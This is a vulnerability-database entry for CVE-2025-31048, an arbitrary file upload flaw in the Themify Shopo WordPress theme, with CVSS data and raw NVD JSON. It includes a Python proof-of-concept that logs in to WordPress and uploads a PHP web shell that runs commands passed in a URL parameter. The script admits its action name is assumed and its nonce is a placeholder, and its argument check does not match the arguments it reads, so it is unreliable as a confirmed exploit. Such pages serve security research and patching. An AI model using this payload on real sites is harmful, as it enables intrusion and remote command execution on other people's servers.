Security Vulnerability Report
中文
CVE-2025-31048 CVSS 9.9 CRITICAL

CVE-2025-31048

Published: 2026-01-05 11:17:41
Last Modified: 2026-04-28 19:30:56

Description

Unrestricted Upload of File with Dangerous Type vulnerability in Themify Shopo allows Upload a Web Shell to a Web Server.This issue affects Shopo: from n/a through 1.1.4.

CVSS Details

CVSS Score
9.9
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Themify Shopo < 1.1.5
Themify Shopo from n/a through 1.1.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-31048 PoC - Themify Shopo Arbitrary File Upload # Target: WordPress site with Themify Shopo theme < 1.1.5 def exploit(target_url, username, password, webshell_content): """ Exploit arbitrary file upload vulnerability in Themify Shopo """ # Step 1: Login to WordPress login_url = target_url.rstrip('/') + '/wp-login.php' session = requests.Session() login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } resp = session.post(login_url, data=login_data, timeout=30) if 'wordpress_logged_in' not in session.cookies.get_dict(): print('[-] Login failed') return False print('[+] Login successful') # Step 2: Upload malicious file via Shopo theme upload function upload_url = target_url.rstrip('/') + '/wp-admin/admin-ajax.php' files = { 'file': ('shell.php', webshell_content, 'application/x-php') } data = { 'action': 'themify_shopo_upload', # Assumed action name 'security': 'nonce_value' # Need to get valid nonce } resp = session.post(upload_url, files=files, data=data, timeout=30) # Step 3: Execute the uploaded webshell if resp.status_code == 200: upload_path = resp.json().get('data', {}).get('file', '') if upload_path: shell_url = target_url.rstrip('/') + upload_path print(f'[+] Webshell uploaded: {shell_url}') print('[+] Vulnerability confirmed!') return True print('[-] Exploitation failed') return False if __name__ == '__main__': if len(sys.argv) < 3: print(f'Usage: python {sys.argv[0]} <target_url> <username> <password>') sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] webshell = '<?php system($_GET["cmd"]); ?>' exploit(target, user, pwd, webshell)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-31048", "sourceIdentifier": "[email protected]", "published": "2026-01-05T11:17:40.780", "lastModified": "2026-04-28T19:30:56.023", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Unrestricted Upload of File with Dangerous Type vulnerability in Themify Shopo allows Upload a Web Shell to a Web Server.This issue affects Shopo: from n/a through 1.1.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://patchstack.com/database/wordpress/theme/shopo/vulnerability/wordpress-shopo-1-1-4-arbitrary-file-upload-vulnerability?_s_id=cve", "source": "[email protected]"}]}}